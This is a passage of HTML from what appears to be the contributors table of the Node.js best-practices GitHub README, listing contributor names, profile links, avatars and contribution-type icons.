Ormaechea</b></sub></a><br /><a href=\"#translation-jormaechea\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/dfrzuz\"><img src=\"https://avatars3.githubusercontent.com/u/71859096?v=4\" width=\"100px;\" alt=\"dfrzuz\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>dfrzuz</b></sub></a><br /><a href=\"#translation-dfrzuz\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/victor-homyakov\"><img src=\"https://avatars1.githubusercontent.com/u/121449?v=4\" width=\"100px;\" alt=\"Victor Homyakov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Victor Homyakov</b></sub></a><br /><a href=\"#content-victor-homyakov\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://joshuahemphill.com\"><img src=\"https://avatars3.githubusercontent.com/u/46608115?v=4\" width=\"100px;\" alt=\"Josh\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Josh</b></sub></a><br /><a href=\"#content-josh-hemphill\" title=\"Content\">🖋</a> <a href=\"#security-josh-hemphill\" title=\"Security\">🛡️</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/alec-francis\"><img src=\"https://avatars2.githubusercontent.com/u/32949882?v=4\" width=\"100px;\" alt=\"Alec Francis\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Alec Francis</b></sub></a><br /><a href=\"#content-alec-francis\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/arjun6610\"><img src=\"https://avatars1.githubusercontent.com/u/61268891?v=4\" width=\"100px;\" alt=\"arjun6610\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>arjun6610</b></sub></a><br /><a href=\"#content-arjun6610\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jan-osch\"><img src=\"https://avatars2.githubusercontent.com/u/11651780?v=4\" width=\"100px;\" alt=\"Jan Osch\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jan Osch</b></sub></a><br /><a href=\"#content-jan-osch\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/thiagotrs\"><img src=\"https://avatars2.githubusercontent.com/u/32005779?v=4\" width=\"100px;\" alt=\"Thiago Rotondo Sampaio\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Thiago Rotondo Sampaio</b></sub></a><br /><a href=\"#translation-thiagotrs\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Alexsey\"><img src=\"https://avatars0.githubusercontent.com/u/6392013?v=4\" width=\"100px;\" alt=\"Alexsey\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Alexsey</b></sub></a><br /><a href=\"#content-Alexsey\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/13luismb\"><img src=\"https://avatars1.githubusercontent.com/u/32210483?v=4\" width=\"100px;\" alt=\"Luis A. Acurero\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Luis A. Acurero</b></sub></a><br /><a href=\"#translation-13luismb\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://lromano97.github.io/\"><img src=\"https://avatars1.githubusercontent.com/u/22394847?v=4\" width=\"100px;\" alt=\"Lucas Romano\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Lucas Romano</b></sub></a><br /><a href=\"#translation-lromano97\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/denisecase\"><img src=\"https://avatars0.githubusercontent.com/u/13016516?v=4\" width=\"100px;\" alt=\"Denise Case\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Denise Case</b></sub></a><br /><a href=\"#content-denisecase\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://stackoverflow.com/story/elektronik\"><img src=\"https://avatars3.githubusercontent.com/u/1078554?v=4\" width=\"100px;\" alt=\"Nick Ribal\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Nick Ribal</b></sub></a><br /><a href=\"#content-elektronik2k5\" title=\"Content\">🖋</a> <a href=\"https://github.com/goldbergyoni/nodebestpractices/pulls?q=is%3Apr+reviewed-by%3Aelektronik2k5\" title=\"Reviewed Pull Requests\">👀</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/0xflotus\"><img src=\"https://avatars3.githubusercontent.com/u/26602940?v=4\" width=\"100px;\" alt=\"0xflotus\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>0xflotus</b></sub></a><br /><a href=\"#content-0xflotus\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.dijonkitchen.org/\"><img src=\"https://avatars3.githubusercontent.com/u/11434205?v=4\" width=\"100px;\" alt=\"Jonathan Chen\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jonathan Chen</b></sub></a><br /><a href=\"#content-dijonkitchen\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/dilansri\"><img src=\"https://avatars2.githubusercontent.com/u/5089728?v=4\" width=\"100px;\" alt=\"Dilan Srilal\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Dilan Srilal</b></sub></a><br /><a href=\"#content-dilansri\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://vectree.ru\"><img src=\"https://avatars3.githubusercontent.com/u/4215285?v=4\" width=\"100px;\" alt=\"vladthelittleone\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>vladthelittleone</b></sub></a><br /><a href=\"#translation-vladthelittleone\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.nikolaso.com\"><img src=\"https://avatars0.githubusercontent.com/u/60047271?v=4\" width=\"100px;\" alt=\"Nik Osvalds\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Nik Osvalds</b></sub></a><br /><a href=\"#content-nosvalds\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kdaniel21\"><img src=\"https://avatars0.githubusercontent.com/u/39854385?v=4\" width=\"100px;\" alt=\"Daniel Kiss\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Daniel Kiss</b></sub></a><br /><a href=\"https://github.com/goldbergyoni/nodebestpractices/commits?author=kdaniel21\" title=\"Documentation\">📖</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/forresst17\"><img src=\"https://avatars2.githubusercontent.com/u/163352?v=4\" width=\"100px;\" alt=\"Forresst\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Forresst</b></sub></a><br /><a href=\"#content-forresst\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/svenheden\"><img src=\"https://avatars1.githubusercontent.com/u/76098?v=4\" width=\"100px;\" alt=\"Jonathan Svenheden\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jonathan Svenheden</b></sub></a><br /><a href=\"#content-svenheden\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/AustrisC\"><img src=\"https://avatars2.githubusercontent.com/u/12381652?v=4\" width=\"100px;\" alt=\"AustrisC\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>AustrisC</b></sub></a><br /><a href=\"#content-AustrisC\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/cisco0808\"><img src=\"https://avatars0.githubusercontent.com/u/60251188?v=4\" width=\"100px;\" alt=\"kyeongtae kim\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>kyeongtae kim</b></sub></a><br /><a href=\"#translation-cisco0808\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://keybase.io/651z9pz968v2accj\"><img src=\"https://avatars.githubusercontent.com/u/65741741?v=4\" width=\"100px;\" alt=\"007\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>007</b></sub></a><br /><a href=\"#content-6gx7iycn53ioq2e8apk1j1ypwov4giui\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.anediaz.com\"><img src=\"https://avatars.githubusercontent.com/u/17216937?v=4\" width=\"100px;\" alt=\"Ane Diaz de Tuesta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ane Diaz de Tuesta</b></sub></a><br /><a href=\"#translation-anediaz\" title=\"Translation\">🌍</a> <a href=\"#content-anediaz\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://yukioh.net\"><img src=\"https://avatars.githubusercontent.com/u/23182489?v=4\" width=\"100px;\" alt=\"YukiOta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>YukiOta</b></sub></a><br /><a href=\"#translation-YukiOta\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.yeovilhospital.co.uk/\"><img src=\"https://avatars.githubusercontent.com/u/43814140?v=4\" width=\"100px;\" alt=\"Frazer Smith\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Frazer Smith</b></sub></a><br /><a href=\"#content-Fdawgs\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/rluvaton\"><img src=\"https://avatars.githubusercontent.com/u/16746759?v=4\" width=\"100px;\" alt=\"Raz Luvaton\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Raz Luvaton</b></sub></a><br /><a href=\"#content-rluvaton\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/YA21\"><img src=\"https://avatars.githubusercontent.com/u/37298463?v=4\" width=\"100px;\" alt=\"Yuta Azumi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yuta Azumi</b></sub></a><br /><a href=\"#content-YA21\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/andrewjbarbour\"><img src=\"https://avatars.githubusercontent.com/u/77080074?v=4\" width=\"100px;\" alt=\"andrewjbarbour\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>andrewjbarbour</b></sub></a><br /><a href=\"#content-andrewjbarbour\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://MasujimaRyohei.jp\"><img src=\"https://avatars.githubusercontent.com/u/17163541?v=4\" width=\"100px;\" alt=\"mr\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>mr</b></sub></a><br /><a href=\"#content-MasujimaRyohei\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kubanac95\"><img src=\"https://avatars.githubusercontent.com/u/16191931?v=4\" width=\"100px;\" alt=\"Aleksandar\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Aleksandar</b></sub></a><br /><a href=\"#content-kubanac95\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://vincentjonathan.com\"><img src=\"https://avatars.githubusercontent.com/u/32597776?v=4\" width=\"100px;\" alt=\"Owl\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Owl</b></sub></a><br /><a href=\"#content-SuspiciousLookingOwl\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/yedidyas\"><img src=\"https://avatars.githubusercontent.com/u/36074789?v=4\" width=\"100px;\" alt=\"Yedidya Schwartz\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yedidya Schwartz</b></sub></a><br /><a href=\"#content-yedidyas\" title=\"Content\">🖋</a> <a href=\"#example-yedidyas\" title=\"Examples\">💡</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ariel-diaz\"><img src=\"https://avatars.githubusercontent.com/u/20423540?v=4\" width=\"100px;\" alt=\"ari\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>ari</b></sub></a><br /><a href=\"#content-ariel-diaz\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.koenigthomas.de/\"><img src=\"https://avatars.githubusercontent.com/u/7080389?v=4\" width=\"100px;\" alt=\"Thomas König\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Thomas König</b></sub></a><br /><a href=\"#content-Vispercept\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/coocos\"><img src=\"https://avatars.githubusercontent.com/u/1397804?v=4\" width=\"100px;\" alt=\"Kalle Lämsä\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kalle Lämsä</b></sub></a><br /><a href=\"#content-coocos\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://math.cat\"><img src=\"https://avatars.githubusercontent.com/u/10328430?v=4\" width=\"100px;\" alt=\"Wyatt\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Wyatt</b></sub></a><br /><a href=\"#content-ZhyMC\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://libkhadir.fr\"><img src=\"https://avatars.githubusercontent.com/u/45130488?v=4\" width=\"100px;\" alt=\"KHADIR Tayeb\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>KHADIR Tayeb</b></sub></a><br /><a href=\"#content-tkhadir\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/shankarregmi\"><img src=\"https://avatars.githubusercontent.com/u/7703345?v=4\" width=\"100px;\" alt=\"Shankar Regmi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shankar Regmi</b></sub></a><br /><a href=\"#content-shankarregmi\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/codebyshubham\"><img src=\"https://avatars.githubusercontent.com/u/10389723?v=4\" width=\"100px;\" alt=\"Shubham\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shubham</b></sub></a><br /><a href=\"#content-codebyshubham\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://lucalves.me/\"><img src=\"https://avatars.githubusercontent.com/u/17712401?v=4\" width=\"100px;\" alt=\"Lucas Alves\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Lucas Alves</b></sub></a><br /><a href=\"#content-lucalves\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/benjaminudoh10\"><img src=\"https://avatars.githubusercontent.com/u/9018331?v=4\" width=\"100px;\" alt=\"Benjamin\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Benjamin</b></sub></a><br /><a href=\"#content-benjaminudoh10\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.yjoer.com\"><img src=\"https://avatars.githubusercontent.com/u/47742486?v=4\" width=\"100px;\" alt=\"Yeoh Joer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yeoh Joer</b></sub></a><br /><a href=\"#content-yjoer\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://blog.miigon.net\"><img src=\"https://avatars.githubusercontent.com/u/16161991?v=4\" width=\"100px;\" alt=\"Miigon\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Miigon</b></sub></a><br /><a href=\"#content-Miigon\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://brainstorage.me/Egregor2011\"><img src=\"https://avatars.githubusercontent.com/u/3630318?v=4\" width=\"100px;\" alt=\"Rostislav Bogorad\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Rostislav Bogorad</b></sub></a><br /><a href=\"#content-Egregor2011\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Flouse\"><img src=\"https://avatars.githubusercontent.com/u/1297478?v=4\" width=\"100px;\" alt=\"Flouse\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Flouse</b></sub></a><br /><a href=\"#content-Flouse\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://taranttini.com\"><img src=\"https://avatars.githubusercontent.com/u/6922125?v=4\" width=\"100px;\" alt=\"Tarantini Pereira\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Tarantini Pereira</b></sub></a><br /><a href=\"#content-taranttini\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kzmat\"><img src=\"https://avatars.githubusercontent.com/u/34614358?v=4\" width=\"100px;\" alt=\"Kazuki Matsuo\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kazuki Matsuo</b></sub></a><br /><a href=\"#content-kzmat\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/burkybang\"><img src=\"https://avatars.githubusercontent.com/u/927886?v=4\" width=\"100px;\" alt=\"Adam Smith\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Adam Smith</b></sub></a><br /><a href=\"#content-burkybang\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://codekodo.tistory.com\"><img src=\"https://avatars.githubusercontent.com/u/33795856?v=4\" width=\"100px;\" alt=\"Dohyeon Ko\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Dohyeon Ko</b></sub></a><br /><a href=\"#content-k906506\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/vlad99902\"><img src=\"https://avatars.githubusercontent.com/u/67615003?v=4\" width=\"100px;\" alt=\"Vladislav Legkov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Vladislav Legkov</b></sub></a><br /><a href=\"#content-vlad99902\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://kerolloz.github.io\"><img src=\"https://avatars.githubusercontent.com/u/36763164?v=4\" width=\"100px;\" alt=\"Kerollos Magdy\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kerollos Magdy</b></sub></a><br /><a href=\"#content-kerolloz\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/erez-lieberman-b90b7219/\"><img src=\"https://avatars.githubusercontent.com/u/3277260?v=4\" width=\"100px;\" alt=\"Erez Lieberman\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Erez Lieberman</b></sub></a><br /><a href=\"#content-erezLieberman\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/breno-macedo-ernani-de-s%C3%A1-110223158/\"><img src=\"https://avatars.githubusercontent.com/u/48841329?v=4\" width=\"100px;\" alt=\"Breno Macedo\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Breno Macedo</b></sub></a><br /><a href=\"#content-breno404\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/JFernando122\"><img src=\"https://avatars.githubusercontent.com/u/40414805?v=4\" width=\"100px;\" alt=\"Fernando Flores\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Fernando Flores</b></sub></a><br /><a href=\"#translation-JFernando122\" title=\"Translation\">🌍</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/rafaelconcept/\"><img src=\"https://avatars.githubusercontent.com/u/43880669?v=4\" width=\"100px;\" alt=\"Rafael Brito\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Rafael Brito</b></sub></a><br /><a href=\"#translation-rafaelconcept\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://emiliano-peralta-portfolio.vercel.app/\"><img src=\"https://avatars.githubusercontent.com/u/63617637?v=4\" width=\"100px;\" alt=\"Emiliano Peralta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Emiliano Peralta</b></sub></a><br /><a href=\"#translation-emiperalta\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://lannex.github.io\"><img src=\"https://avatars.githubusercontent.com/u/7369541?v=4\" width=\"100px;\" alt=\"Shin, SJ\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shin, SJ</b></sub></a><br /><a href=\"#content-lannex\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.benjaminforster.com\"><img src=\"https://avatars.githubusercontent.com/u/12589522?v=4\" width=\"100px;\" alt=\"Benjamin Forster\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Benjamin Forster</b></sub></a><br /><a href=\"#content-e-e-e\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/DanieleFedeli\"><img src=\"https://avatars.githubusercontent.com/u/37077048?v=4\" width=\"100px;\" alt=\"Daniele Fedeli\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Daniele Fedeli</b></sub></a><br /><a href=\"#content-DanieleFedeli\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/djob195\"><img src=\"https://avatars.githubusercontent.com/u/17146669?v=4\" width=\"100px;\" alt=\"djob195\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>djob195</b></sub></a><br /><a href=\"#content-djob195\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/antspk\"><img src=\"https://avatars.githubusercontent.com/u/78955792?v=4\" width=\"100px;\" alt=\"antspk\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>antspk</b></sub></a><br /><a href=\"#content-antspk\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://jjy0821.tistory.com/\"><img src=\"https://avatars.githubusercontent.com/u/88075341?v=4\" width=\"100px;\" alt=\"정진영\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>정진영</b></sub></a><br /><a href=\"#content-jjy821\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kkk-cashwalk\"><img src=\"https://avatars.githubusercontent.com/u/91455122?v=4\" width=\"100px;\" alt=\"kkk-cashwalk\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>kkk-cashwalk</b></sub></a><br /><a href=\"#content-kkk-cashwalk\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/apainintheneck\"><img src=\"https://avatars.githubusercontent.com/u/42982186?v=4\" width=\"100px;\" alt=\"apainintheneck\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>apainintheneck</b></sub></a><br /><a href=\"#content-apainintheneck\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/koyanyaroo\"><img src=\"https://avatars.githubusercontent.com/u/9715368?v=4\" width=\"100px;\" alt=\"Fajar Budhi Iswanda\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Fajar Budhi Iswanda</b></sub></a><br /><a href=\"#content-koyanyaroo\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jutiger\"><img 